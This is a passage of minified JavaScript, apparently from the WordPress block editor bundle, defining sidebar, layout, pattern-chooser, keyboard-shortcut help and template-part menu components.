0,size:&quot;compact&quot;,shortcut:g})}),m&amp;&amp;a&amp;&amp;(0,L.jsx)(Ka,{target:m,scope:d,icon:b,children:h}),(0,L.jsxs)(Ja,{activeArea:P,isActive:w,className:Di(&quot;interface-complementary-area&quot;,t),scope:d,id:y.replace(&quot;/&quot;,&quot;:&quot;),children:[(0,L.jsx)(Ga,{className:i,closeLabel:s,onClose:()=&gt;N(d),toggleButtonProps:{label:s,size:&quot;compact&quot;,shortcut:g,scope:d,identifier:y},children:n||(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(&quot;h2&quot;,{className:&quot;interface-complementary-area-header__title&quot;,children:h}),a&amp;&amp;!B&amp;&amp;(0,L.jsx)(Uo.Button,{className:&quot;interface-complementary-area__pin-unpin-item&quot;,icon:C?xa:va,label:C?(0,fs.__)(&quot;Unpin from toolbar&quot;):(0,fs.__)(&quot;Pin to toolbar&quot;),onClick:()=&gt;(C?A:D)(d,y),isPressed:C,&quot;aria-expanded&quot;:C,size:&quot;compact&quot;})]})}),(0,L.jsx)(Uo.Panel,{className:l,children:e})]})]})}el.Slot=function({scope:e,...t}){return(0,L.jsx)(Uo.Slot,{name:`ComplementaryArea/${e}`,...t})};const tl=el,sl=({isActive:e})=&gt;((0,u.useEffect)((()=&gt;{let e=!1;return document.body.classList.contains(&quot;sticky-menu&quot;)&amp;&amp;(e=!0,document.body.classList.remove(&quot;sticky-menu&quot;)),()=&gt;{e&amp;&amp;document.body.classList.add(&quot;sticky-menu&quot;)}}),[]),(0,u.useEffect)((()=&gt;(e?document.body.classList.add(&quot;is-fullscreen-mode&quot;):document.body.classList.remove(&quot;is-fullscreen-mode&quot;),()=&gt;{e&amp;&amp;document.body.classList.remove(&quot;is-fullscreen-mode&quot;)})),[e]),null),ol=(0,u.forwardRef)((({children:e,className:t,ariaLabel:s,as:o=&quot;div&quot;,...n},i)=&gt;(0,L.jsx)(o,{ref:i,className:Di(&quot;interface-navigable-region&quot;,t),&quot;aria-label&quot;:s,role:&quot;region&quot;,tabIndex:&quot;-1&quot;,...n,children:e})));ol.displayName=&quot;NavigableRegion&quot;;const nl=ol,il={type:&quot;tween&quot;,duration:.25,ease:[.6,0,.4,1]};const rl={hidden:{opacity:1,marginTop:-60},visible:{opacity:1,marginTop:0},distractionFreeHover:{opacity:1,marginTop:0,transition:{...il,delay:.2,delayChildren:.2}},distractionFreeHidden:{opacity:0,marginTop:-60},distractionFreeDisabled:{opacity:0,marginTop:0,transition:{...il,delay:.8,delayChildren:.8}}};const al=(0,u.forwardRef)((function({isDistractionFree:e,footer:t,header:s,editorNotices:o,sidebar:n,secondarySidebar:i,content:r,actions:a,labels:l,className:c},d){const[m,h]=(0,p.useResizeObserver)(),g=(0,p.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),_={type:&quot;tween&quot;,duration:(0,p.useReducedMotion)()?0:.25,ease:[.6,0,.4,1]};!function(e){(0,u.useEffect)((()=&gt;{const t=document&amp;&amp;document.querySelector(`html:not(.${e})`);if(t)return t.classList.toggle(e),()=&gt;{t.classList.toggle(e)}}),[e])}(&quot;interface-interface-skeleton__html-container&quot;);const f={...{header:(0,fs._x)(&quot;Header&quot;,&quot;header landmark area&quot;),body:(0,fs.__)(&quot;Content&quot;),secondarySidebar:(0,fs.__)(&quot;Block Library&quot;),sidebar:(0,fs._x)(&quot;Settings&quot;,&quot;settings landmark area&quot;),actions:(0,fs.__)(&quot;Publish&quot;),footer:(0,fs.__)(&quot;Footer&quot;)},...l};return(0,L.jsxs)(&quot;div&quot;,{ref:d,className:Di(c,&quot;interface-interface-skeleton&quot;,!!t&amp;&amp;&quot;has-footer&quot;),children:[(0,L.jsxs)(&quot;div&quot;,{className:&quot;interface-interface-skeleton__editor&quot;,children:[(0,L.jsx)(Uo.__unstableAnimatePresence,{initial:!1,children:!!s&amp;&amp;(0,L.jsx)(nl,{as:Uo.__unstableMotion.div,className:&quot;interface-interface-skeleton__header&quot;,&quot;aria-label&quot;:f.header,initial:e&amp;&amp;!g?&quot;distractionFreeHidden&quot;:&quot;hidden&quot;,whileHover:e&amp;&amp;!g?&quot;distractionFreeHover&quot;:&quot;visible&quot;,animate:e&amp;&amp;!g?&quot;distractionFreeDisabled&quot;:&quot;visible&quot;,exit:e&amp;&amp;!g?&quot;distractionFreeHidden&quot;:&quot;hidden&quot;,variants:rl,transition:_,children:s})}),e&amp;&amp;(0,L.jsx)(&quot;div&quot;,{className:&quot;interface-interface-skeleton__header&quot;,children:o}),(0,L.jsxs)(&quot;div&quot;,{className:&quot;interface-interface-skeleton__body&quot;,children:[(0,L.jsx)(Uo.__unstableAnimatePresence,{initial:!1,children:!!i&amp;&amp;(0,L.jsx)(nl,{className:&quot;interface-interface-skeleton__secondary-sidebar&quot;,ariaLabel:f.secondarySidebar,as:Uo.__unstableMotion.div,initial:&quot;closed&quot;,animate:&quot;open&quot;,exit:&quot;closed&quot;,variants:{open:{width:h.width},closed:{width:0}},transition:_,children:(0,L.jsxs)(Uo.__unstableMotion.div,{style:{position:&quot;absolute&quot;,width:g?&quot;100vw&quot;:&quot;fit-content&quot;,height:&quot;100%&quot;,left:0},variants:{open:{x:0},closed:{x:&quot;-100%&quot;}},transition:_,children:[m,i]})})}),(0,L.jsx)(nl,{className:&quot;interface-interface-skeleton__content&quot;,ariaLabel:f.body,children:r}),!!n&amp;&amp;(0,L.jsx)(nl,{className:&quot;interface-interface-skeleton__sidebar&quot;,ariaLabel:f.sidebar,children:n}),!!a&amp;&amp;(0,L.jsx)(nl,{className:&quot;interface-interface-skeleton__actions&quot;,ariaLabel:f.actions,children:a})]})]}),!!t&amp;&amp;(0,L.jsx)(nl,{className:&quot;interface-interface-skeleton__footer&quot;,ariaLabel:f.footer,children:t})]})})),{RenamePatternModal:ll}=$(ln.privateApis),cl=&quot;editor/pattern-rename&quot;;function dl(){const{record:e,postType:t}=(0,c.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s}=e(Ac),{getEditedEntityRecord:o}=e(d.store),n=t();return{record:o(&quot;postType&quot;,n,s()),postType:n}}),[]),{closeModal:s}=(0,c.useDispatch)(Ua);return(0,c.useSelect)((e=&gt;e(Ua).isModalActive(cl)))&amp;&amp;t===I?(0,L.jsx)(ll,{onClose:s,pattern:e}):null}const{DuplicatePatternModal:ul}=$(ln.privateApis),pl=&quot;editor/pattern-duplicate&quot;;function ml(){const{record:e,postType:t}=(0,c.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s}=e(Ac),{getEditedEntityRecord:o}=e(d.store),n=t();return{record:o(&quot;postType&quot;,n,s()),postType:n}}),[]),{closeModal:s}=(0,c.useDispatch)(Ua);return(0,c.useSelect)((e=&gt;e(Ua).isModalActive(pl)))&amp;&amp;t===I?(0,L.jsx)(ul,{onClose:s,onSuccess:()=&gt;s(),pattern:e}):null}const{BlockRemovalWarningModal:hl}=$(h.privateApis),gl=[&quot;core/post-content&quot;,&quot;core/post-template&quot;,&quot;core/query&quot;],_l=[{postTypes:[&quot;wp_template&quot;,&quot;wp_template_part&quot;],callback(e){if(e.filter((({name:e})=&gt;gl.includes(e))).length)return(0,fs._n)(&quot;Deleting this block will stop your post or page content from displaying on this template. It is not recommended.&quot;,&quot;Some of the deleted blocks will stop your post or page content from displaying on this template. It is not recommended.&quot;,e.length)}},{postTypes:[&quot;wp_block&quot;],callback(e){if(e.filter((({attributes:e})=&gt;e?.metadata?.bindings&amp;&amp;Object.values(e.metadata.bindings).some((e=&gt;&quot;core/pattern-overrides&quot;===e.source)))).length)return(0,fs._n)(&quot;The deleted block allows instance overrides. Removing it may result in content not displaying where this pattern is used. Are you sure you want to proceed?&quot;,&quot;Some of the deleted blocks allow instance overrides. Removing them may result in content not displaying where this pattern is used. Are you sure you want to proceed?&quot;,e.length)}}];function fl(){const e=(0,c.useSelect)((e=&gt;e(Ac).getCurrentPostType()),[]),t=(0,u.useMemo)((()=&gt;_l.filter((t=&gt;t.postTypes.includes(e)))),[e]);return hl&amp;&amp;t?(0,L.jsx)(hl,{rules:t}):null}function bl({blockPatterns:e,onChoosePattern:t}){const{editEntityRecord:s}=(0,c.useDispatch)(d.store),{postType:o,postId:n}=(0,c.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s}=e(Ac);return{postType:t(),postId:s()}}),[]);return(0,L.jsx)(h.__experimentalBlockPatternsList,{blockPatterns:e,onClickPattern:(e,i)=&gt;{s(&quot;postType&quot;,o,n,{blocks:i,content:({blocks:e=[]})=&gt;(0,y.__unstableSerializeAndClean)(e)}),t()}})}function yl({onClose:e}){const[t,s]=(0,u.useState)(!0),{set:o}=(0,c.useDispatch)(k.store),n=function(){const{blockPatternsWithPostContentBlockType:e,postType:t}=(0,c.useSelect)((e=&gt;{const{getPatternsByBlockTypes:t,getBlocksByName:s}=e(h.store),{getCurrentPostType:o,getRenderingMode:n}=e(Ac);return{blockPatternsWithPostContentBlockType:t(&quot;core/post-content&quot;,&quot;post-only&quot;===n()?&quot;&quot;:s(&quot;core/post-content&quot;)?.[0]),postType:o()}}),[]);return(0,u.useMemo)((()=&gt;e?.length?e.filter((e=&gt;&quot;page&quot;===t&amp;&amp;!e.postTypes||Array.isArray(e.postTypes)&amp;&amp;e.postTypes.includes(t))):[]),[t,e])}();if(!(n.length&gt;0))return null;function i(){e(),o(&quot;core&quot;,&quot;enableChoosePatternModal&quot;,t)}return(0,L.jsxs)(Uo.Modal,{className:&quot;editor-start-page-options__modal&quot;,title:(0,fs.__)(&quot;Choose a pattern&quot;),isFullScreen:!0,onRequestClose:i,children:[(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-start-page-options__modal-content&quot;,children:(0,L.jsx)(bl,{blockPatterns:n,onChoosePattern:i})}),(0,L.jsx)(Uo.Flex,{className:&quot;editor-start-page-options__modal__actions&quot;,justify:&quot;flex-end&quot;,expanded:!1,children:(0,L.jsx)(Uo.FlexItem,{children:(0,L.jsx)(Uo.ToggleControl,{__nextHasNoMarginBottom:!0,checked:t,label:(0,fs.__)(&quot;Show starter patterns&quot;),help:(0,fs.__)(&quot;Shows starter patterns when creating a new page.&quot;),onChange:e=&gt;{s(e)}})})})]})}function xl(){const[e,t]=(0,u.useState)(!1),{isEditedPostDirty:s,isEditedPostEmpty:o}=(0,c.useSelect)(Ac),{isModalActive:n}=(0,c.useSelect)(Ua),{enabled:i,postId:r}=(0,c.useSelect)((e=&gt;{const{getCurrentPostId:t,getCurrentPostType:s}=e(Ac),o=e(k.store).get(&quot;core&quot;,&quot;enableChoosePatternModal&quot;);return{postId:t(),enabled:o&amp;&amp;T!==s()}}),[]);return(0,u.useEffect)((()=&gt;{const e=!s()&amp;&amp;o(),r=n(&quot;editor/preferences&quot;);i&amp;&amp;e&amp;&amp;!r&amp;&amp;t(!0)}),[i,r,s,o,n]),e?(0,L.jsx)(yl,{onClose:()=&gt;t(!1)}):null}const vl=window.wp.keyboardShortcuts,Sl=[{keyCombination:{modifier:&quot;primary&quot;,character:&quot;b&quot;},description:(0,fs.__)(&quot;Make the selected text bold.&quot;)},{keyCombination:{modifier:&quot;primary&quot;,character:&quot;i&quot;},description:(0,fs.__)(&quot;Make the selected text italic.&quot;)},{keyCombination:{modifier:&quot;primary&quot;,character:&quot;k&quot;},description:(0,fs.__)(&quot;Convert the selected text into a link.&quot;)},{keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;k&quot;},description:(0,fs.__)(&quot;Remove a link.&quot;)},{keyCombination:{character:&quot;[[&quot;},description:(0,fs.__)(&quot;Insert a link to a post or page.&quot;)},{keyCombination:{modifier:&quot;primary&quot;,character:&quot;u&quot;},description:(0,fs.__)(&quot;Underline the selected text.&quot;)},{keyCombination:{modifier:&quot;access&quot;,character:&quot;d&quot;},description:(0,fs.__)(&quot;Strikethrough the selected text.&quot;)},{keyCombination:{modifier:&quot;access&quot;,character:&quot;x&quot;},description:(0,fs.__)(&quot;Make the selected text inline code.&quot;)},{keyCombination:{modifier:&quot;access&quot;,character:&quot;0&quot;},aliases:[{modifier:&quot;access&quot;,character:&quot;7&quot;}],description:(0,fs.__)(&quot;Convert the current heading to a paragraph.&quot;)},{keyCombination:{modifier:&quot;access&quot;,character:&quot;1-6&quot;},description:(0,fs.__)(&quot;Convert the current paragraph or heading to a heading of level 1 to 6.&quot;)},{keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;SPACE&quot;},description:(0,fs.__)(&quot;Add non breaking space.&quot;)}],wl=window.wp.keycodes;function kl({keyCombination:e,forceAriaLabel:t}){const s=e.modifier?wl.displayShortcutList[e.modifier](e.character):e.character,o=e.modifier?wl.shortcutAriaLabel[e.modifier](e.character):e.character;return(0,L.jsx)(&quot;kbd&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-key-combination&quot;,&quot;aria-label&quot;:t||o,children:(Array.isArray(s)?s:[s]).map(((e,t)=&gt;&quot;+&quot;===e?(0,L.jsx)(u.Fragment,{children:e},t):(0,L.jsx)(&quot;kbd&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-key&quot;,children:e},t)))})}const Cl=function({description:e,keyCombination:t,aliases:s=[],ariaLabel:o}){return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-description&quot;,children:e}),(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-term&quot;,children:[(0,L.jsx)(kl,{keyCombination:t,forceAriaLabel:o}),s.map(((e,t)=&gt;(0,L.jsx)(kl,{keyCombination:e,forceAriaLabel:o},t)))]})]})};const Pl=function({name:e}){const{keyCombination:t,description:s,aliases:o}=(0,c.useSelect)((t=&gt;{const{getShortcutKeyCombination:s,getShortcutDescription:o,getShortcutAliases:n}=t(vl.store);return{keyCombination:s(e),aliases:n(e),description:o(e)}}),[e]);return t?(0,L.jsx)(Cl,{keyCombination:t,description:s,aliases:o}):null},jl=&quot;editor/keyboard-shortcut-help&quot;,El=({shortcuts:e})=&gt;(0,L.jsx)(&quot;ul&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-list&quot;,role:&quot;list&quot;,children:e.map(((e,t)=&gt;(0,L.jsx)(&quot;li&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut&quot;,children:&quot;string&quot;==typeof e?(0,L.jsx)(Pl,{name:e}):(0,L.jsx)(Cl,{...e})},t)))}),Tl=({title:e,shortcuts:t,className:s})=&gt;(0,L.jsxs)(&quot;section&quot;,{className:Di(&quot;editor-keyboard-shortcut-help-modal__section&quot;,s),children:[!!e&amp;&amp;(0,L.jsx)(&quot;h2&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__section-title&quot;,children:e}),(0,L.jsx)(El,{shortcuts:t})]}),Bl=({title:e,categoryName:t,additionalShortcuts:s=[]})=&gt;{const o=(0,c.useSelect)((e=&gt;e(vl.store).getCategoryShortcuts(t)),[t]);return(0,L.jsx)(Tl,{title:e,shortcuts:o.concat(s)})};const Il=function(){const e=(0,c.useSelect)((e=&gt;e(Ua).isModalActive(jl)),[]),{openModal:t,closeModal:s}=(0,c.useDispatch)(Ua),o=()=&gt;{e?s():t(jl)};return(0,vl.useShortcut)(&quot;core/editor/keyboard-shortcuts&quot;,o),e?(0,L.jsxs)(Uo.Modal,{className:&quot;editor-keyboard-shortcut-help-modal&quot;,title:(0,fs.__)(&quot;Keyboard shortcuts&quot;),closeButtonLabel:(0,fs.__)(&quot;Close&quot;),onRequestClose:o,children:[(0,L.jsx)(Tl,{className:&quot;editor-keyboard-shortcut-help-modal__main-shortcuts&quot;,shortcuts:[&quot;core/editor/keyboard-shortcuts&quot;]}),(0,L.jsx)(Bl,{title:(0,fs.__)(&quot;Global shortcuts&quot;),categoryName:&quot;global&quot;}),(0,L.jsx)(Bl,{title:(0,fs.__)(&quot;Selection shortcuts&quot;),categoryName:&quot;selection&quot;}),(0,L.jsx)(Bl,{title:(0,fs.__)(&quot;Block shortcuts&quot;),categoryName:&quot;block&quot;,additionalShortcuts:[{keyCombination:{character:&quot;/&quot;},description:(0,fs.__)(&quot;Change the block type after adding a new paragraph.&quot;),ariaLabel:(0,fs.__)(&quot;Forward-slash&quot;)}]}),(0,L.jsx)(Tl,{title:(0,fs.__)(&quot;Text formatting&quot;),shortcuts:Sl}),(0,L.jsx)(Bl,{title:(0,fs.__)(&quot;List View shortcuts&quot;),categoryName:&quot;list-view&quot;})]}):null};function Nl({clientId:e,onClose:t}){const s=oa(),{entity:o,onNavigateToEntityRecord:n,canEditTemplates:i}=(0,c.useSelect)((t=&gt;{const{getBlockParentsByBlockName:o,getSettings:n,getBlockAttributes:i,getBlockParents:r}=t(h.store),{getCurrentTemplateId:a,getRenderingMode:l}=t(Ac),c=o(e,&quot;core/block&quot;,!0)[0];let u;if(c?u=t(d.store).getEntityRecord(&quot;postType&quot;,&quot;wp_block&quot;,i(c).ref):&quot;template-locked&quot;!==l()||r(e).some((e=&gt;s.includes(e)))||(u=t(d.store).getEntityRecord(&quot;postType&quot;,&quot;wp_template&quot;,a())),!u)return{};return{canEditTemplates:t(d.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;}),entity:u,onNavigateToEntityRecord:n().onNavigateToEntityRecord}}),[e,s]);if(!o)return(0,L.jsx)(Dl,{clientId:e,onClose:t});const r=&quot;wp_block&quot;===o.type;let a=r?(0,fs.__)(&quot;Edit the pattern to move, delete, or make further changes to this block.&quot;):(0,fs.__)(&quot;Edit the template to move, delete, or make further changes to this block.&quot;);return i||(a=(0,fs.__)(&quot;Only users with permissions to edit the template can move or delete this block&quot;)),(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__unstableBlockSettingsMenuFirstItem,{children:(0,L.jsx)(Uo.MenuItem,{onClick:()=&gt;{n({postId:o.id,postType:o.type})},disabled:!i,children:r?(0,fs.__)(&quot;Edit pattern&quot;):(0,fs.__)(&quot;Edit template&quot;)})}),(0,L.jsx)(Uo.__experimentalText,{variant:&quot;muted&quot;,as:&quot;p&quot;,className:&quot;editor-content-only-settings-menu__description&quot;,children:a})]})}function Dl({clientId:e,onClose:t}){const{contentLockingParent:s}=(0,c.useSelect)((t=&gt;{const{getContentLockingParent:s}=$(t(h.store));return{contentLockingParent:s(e)}}),[e]),o=(0,h.useBlockDisplayInformation)(s),n=(0,c.useDispatch)(h.store);if(!o?.title)return null;const{modifyContentLockBlock:i}=$(n);return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__unstableBlockSettingsMenuFirstItem,{children:(0,L.jsx)(Uo.MenuItem,{onClick:()=&gt;{i(s),t()},children:(0,fs._x)(&quot;Unlock&quot;,&quot;Unlock content locked blocks&quot;)})}),(0,L.jsx)(Uo.__experimentalText,{variant:&quot;muted&quot;,as:&quot;p&quot;,className:&quot;editor-content-only-settings-menu__description&quot;,children:(0,fs.__)(&quot;Temporarily unlock the parent block to edit, delete or make further changes to this block.&quot;)})]})}function Al(){return(0,L.jsx)(h.BlockSettingsMenuControls,{children:({selectedClientIds:e,onClose:t})=&gt;1===e.length&amp;&amp;(0,L.jsx)(Nl,{clientId:e[0],onClose:t})})}function Rl(e){const{slug:t,patterns:s}=(0,c.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s}=e(Ac),{getEntityRecord:o,getBlockPatterns:n}=e(d.store),i=s();return{slug:o(&quot;postType&quot;,t(),i).slug,patterns:n()}}),[]),o=(0,c.useSelect)((e=&gt;e(d.store).getCurrentTheme().stylesheet));return(0,u.useMemo)((()=&gt;[{name:&quot;fallback&quot;,blocks:(0,y.parse)(e),title:(0,fs.__)(&quot;Fallback content&quot;)},...s.filter((e=&gt;Array.isArray(e.templateTypes)&amp;&amp;e.templateTypes.some((e=&gt;t.startsWith(e))))).map((e=&gt;({...e,blocks:(0,y.parse)(e.content).map((e=&gt;function(e){return e.innerBlocks.find((e=&gt;&quot;core/template-part&quot;===e.name))&amp;&amp;(e.innerBlocks=e.innerBlocks.map((e=&gt;(&quot;core/template-part&quot;===e.name&amp;&amp;void 0===e.attributes.theme&amp;&amp;(e.attributes.theme=o),e)))),&quot;core/template-part&quot;===e.name&amp;&amp;void 0===e.attributes.theme&amp;&amp;(e.attributes.theme=o),e}(e)))})))]),[e,t,s])}function Ml({fallbackContent:e,onChoosePattern:t,postType:s}){const[,,o]=(0,d.useEntityBlockEditor)(&quot;postType&quot;,s),n=Rl(e);return(0,L.jsx)(h.__experimentalBlockPatternsList,{blockPatterns:n,onClickPattern:(e,s)=&gt;{o(s,{selection:void 0}),t()}})}function Ll({slug:e,isCustom:t,onClose:s,postType:o}){const n=function(e,t=!1){return(0,c.useSelect)((s=&gt;{const{getEntityRecord:o,getDefaultTemplateId:n}=s(d.store),i=n({slug:e,is_custom:t,ignore_empty:!0});return i?o(&quot;postType&quot;,T,i)?.content?.raw:void 0}),[e,t])}(e,t);return n?(0,L.jsxs)(Uo.Modal,{className:&quot;editor-start-template-options__modal&quot;,title:(0,fs.__)(&quot;Choose a pattern&quot;),closeLabel:(0,fs.__)(&quot;Cancel&quot;),focusOnMount:&quot;firstElement&quot;,onRequestClose:s,isFullScreen:!0,children:[(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-start-template-options__modal-content&quot;,children:(0,L.jsx)(Ml,{fallbackContent:n,slug:e,isCustom:t,postType:o,onChoosePattern:()=&gt;{s()}})}),(0,L.jsx)(Uo.Flex,{className:&quot;editor-start-template-options__modal__actions&quot;,justify:&quot;flex-end&quot;,expanded:!1,children:(0,L.jsx)(Uo.FlexItem,{children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:s,children:(0,fs.__)(&quot;Skip&quot;)})})})]}):null}function Ol(){const[e,t]=(0,u.useState)(!1),{shouldOpenModal:s,slug:o,isCustom:n,postType:i,postId:r}=(0,c.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s}=e(Ac),o=t(),n=s(),{getEditedEntityRecord:i,hasEditsForEntityRecord:r}=e(d.store),a=i(&quot;postType&quot;,o,n);return{shouldOpenModal:!r(&quot;postType&quot;,o,n)&amp;&amp;&quot;&quot;===a.content&amp;&amp;T===o,slug:a.slug,isCustom:a.is_custom,postType:o,postId:n}}),[]);return(0,u.useEffect)((()=&gt;{t(!1)}),[i,r]),!s||e?null:(0,L.jsx)(Ll,{slug:o,isCustom:n,postType:i,onClose:()=&gt;t(!0)})}function Fl(){const e=(0,c.useSelect)((e=&gt;{const{richEditingEnabled:t,codeEditingEnabled:s}=e(Ac).getEditorSettings();return!t||!s}),[]),{getBlockSelectionStart:t}=(0,c.useSelect)(h.store),{getActiveComplementaryArea:s}=(0,c.useSelect)(Ua),{enableComplementaryArea:o,disableComplementaryArea:n}=(0,c.useDispatch)(Ua),{redo:i,undo:r,savePost:a,setIsListViewOpened:l,switchEditorMode:d,toggleDistractionFree:u}=(0,c.useDispatch)(Ac),{isEditedPostDirty:p,isPostSavingLocked:m,isListViewOpened:g,getEditorMode:_}=(0,c.useSelect)(Ac);return(0,vl.useShortcut)(&quot;core/editor/toggle-mode&quot;,(()=&gt;{d(&quot;visual&quot;===_()?&quot;text&quot;:&quot;visual&quot;)}),{isDisabled:e}),(0,vl.useShortcut)(&quot;core/editor/toggle-distraction-free&quot;,(()=&gt;{u()})),(0,vl.useShortcut)(&quot;core/editor/undo&quot;,(e=&gt;{r(),e.preventDefault()})),(0,vl.useShortcut)(&quot;core/editor/redo&quot;,(e=&gt;{i(),e.preventDefault()})),(0,vl.useShortcut)(&quot;core/editor/save&quot;,(e=&gt;{e.preventDefault(),m()||p()&amp;&amp;a()})),(0,vl.useShortcut)(&quot;core/editor/toggle-list-view&quot;,(e=&gt;{g()||(e.preventDefault(),l(!0))})),(0,vl.useShortcut)(&quot;core/editor/toggle-sidebar&quot;,(e=&gt;{e.preventDefault();if([&quot;edit-post/document&quot;,&quot;edit-post/block&quot;].includes(s(&quot;core&quot;)))n(&quot;core&quot;);else{const e=t()?&quot;edit-post/block&quot;:&quot;edit-post/document&quot;;o(&quot;core&quot;,e)}})),null}function Vl({clientId:e,onClose:t}){const{getBlocks:s}=(0,c.useSelect)(h.store),{replaceBlocks:o}=(0,c.useDispatch)(h.store);return(0,c.useSelect)((t=&gt;t(h.store).canRemoveBlock(e)),[e])?(0,L.jsx)(Uo.MenuItem,{onClick:()=&gt;{o(e,s(e)),t()},children:(0,fs.__)(&quot;Detach&quot;)}):null}function zl({clientIds:e,blocks:t}){const[s,o]=(0,u.useState)(!1),{replaceBlocks:n}=(0,c.useDispatch)(h.store),{createSuccessNotice:i}=(0,c.useDispatch)(_s.store),{canCreate:r}=(0,c.useSelect)((e=&gt;({canCreate:e(h.store).canInsertBlockType(&quot;core/template-part&quot;)})),[]);if(!r)return null;return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.MenuItem,{icon:z,onClick:()=&gt;{o(!0)},&quot;aria-expanded&quot;:s,&quot;aria-haspopup&quot;:&quot;dialog&quot;,children:(0,fs.__)(&quot;Create template part&quot;)}),s&amp;&amp;(0,L.jsx)(Jo,{closeModal:()=&gt;{o(!1)},blocks:t,onCreate:async t=&gt;{n(e,(0,y.createBlock)(&quot;core/template-part&quot;,{slug:t.slug,theme:t.theme})),i((0,fs.__)(&quot;Template part created.&quot;),{type:&quot;snackbar&quot;})}})]})}function Ul(){return(0,L.jsx)(h.BlockSettingsMenuControls,{children:({selectedClientIds:e,onClose:t})=&gt;(0,L.jsx)(Hl,{clientIds:e,onClose:t})})}function Hl({clientIds:e,onClose:t}){const{blocks:s}=(0,c.useSelect)((t=&gt;{const{getBlocksByClientId:s}=t(h.store);return{blocks:s(e)}}),[e]);return 1===s.length&amp;&amp;&quot;core/template-part&quot;===s[0]?.name?(0,L.jsx)(Vl,{clientId:e[0],onClose:t}):(0,L.jsx)(zl,{clientIds:e,blocks:s})}const{ExperimentalBlockEditorProvider:Gl}=$(h.privateApis),{PatternsMenuItems:$l}=$(ln.privateApis),Wl=()=&gt;{},Zl=[&quot;wp_block&quot;,&quot;wp_navigation&quot;,&quot;wp_template_part&quot;];const Yl=Sr((({post:e,settings:t,recovery:s,initialEdits:o,children:n,BlockEditorProviderComponent:i=Gl,__unstableTemplate:r})=&gt;{const a=!!r,{editorSettings:l,selection:p,isReady:g,mode:_,defaultMode:f,postTypeEntities:b}=(0,c.useSelect)((t=&gt;{const{getEditorSettings:s,getEditorSelection:o,getRenderingMode:n,__unstableIsEditorReady:i,getDefaultRenderingMode:r}=$(t(Ac)),{getEntitiesConfig:l}=t(d.store),c=n(),u=r(e.type),p=&quot;template-locked&quot;===u?a:void 0!==u,m=void 0!==u;return{editorSettings:s(),isReady:i(),mode:m?c:void 0,defaultMode:p?u:void 0,selection:o(),postTypeEntities:&quot;wp_template&quot;===e.type?l(&quot;postType&quot;):null}}),[e.type,a]),x=a&amp;&amp;&quot;post-only&quot;!==_,S=x?r:e,w=(0,u.useMemo)((()=&gt;{const t={};if(&quot;wp_template&quot;===e.type){if(&quot;page&quot;===e.slug)t.postType=&quot;page&quot;;else if(&quot;single&quot;===e.slug)t.postType=&quot;post&quot;;else if(&quot;single&quot;===e.slug.split(&quot;-&quot;)[0]){const s=b?.map((e=&gt;e.name))||[],o=e.slug.match(`^single-(${s.join(&quot;|&quot;)})(?:-.+)?$`);o&amp;&amp;(t.postType=o[1])}}else Zl.includes(S.type)&amp;&amp;!x||(t.postId=e.id,t.postType=e.type);return{...t,templateSlug:&quot;wp_template&quot;===S.type?S.slug:void 0}}),[x,e.id,e.type,e.slug,S.type,S.slug,b]),{id:C,type:P}=S,j=ta(l,P,C,_),[E,N,D]=function(e,t,s){const o=&quot;template-locked&quot;===s?&quot;template&quot;:&quot;post&quot;,[n,i,r]=(0,d.useEntityBlockEditor)(&quot;postType&quot;,e.type,{id:e.id}),[a,l,c]=(0,d.useEntityBlockEditor)(&quot;postType&quot;,t?.type,{id:t?.id}),p=(0,u.useMemo)((()=&gt;{if(&quot;wp_navigation&quot;===e.type)return[(0,y.createBlock)(&quot;core/navigation&quot;,{ref:e.id,templateLock:!1})]}),[e.type,e.id]),m=(0,u.useMemo)((()=&gt;p||(&quot;template&quot;===o?a:n)),[p,o,a,n]);return t&amp;&amp;&quot;template-locked&quot;===s||&quot;wp_navigation&quot;===e.type?[m,Wl,Wl]:[m,&quot;post&quot;===o?i:l,&quot;post&quot;===o?r:c]}(e,r,_),{updatePostLock:A,setupEditor:R,updateEditorSettings:M,setCurrentTemplateId:O,setEditedPost:F,setRenderingMode:V}=$((0,c.useDispatch)(Ac)),{createWarningNotice:z}=(0,c.useDispatch)(_s.store);return(0,u.useLayoutEffect)((()=&gt;{s||(A(t.postLock),R(e,o,t.template),t.autosave&amp;&amp;z((0,fs.__)(&quot;There is an autosave of this post that is more recent than the version below.&quot;),{id:&quot;autosave-exists&quot;,actions:[{label:(0,fs.__)(&quot;View the 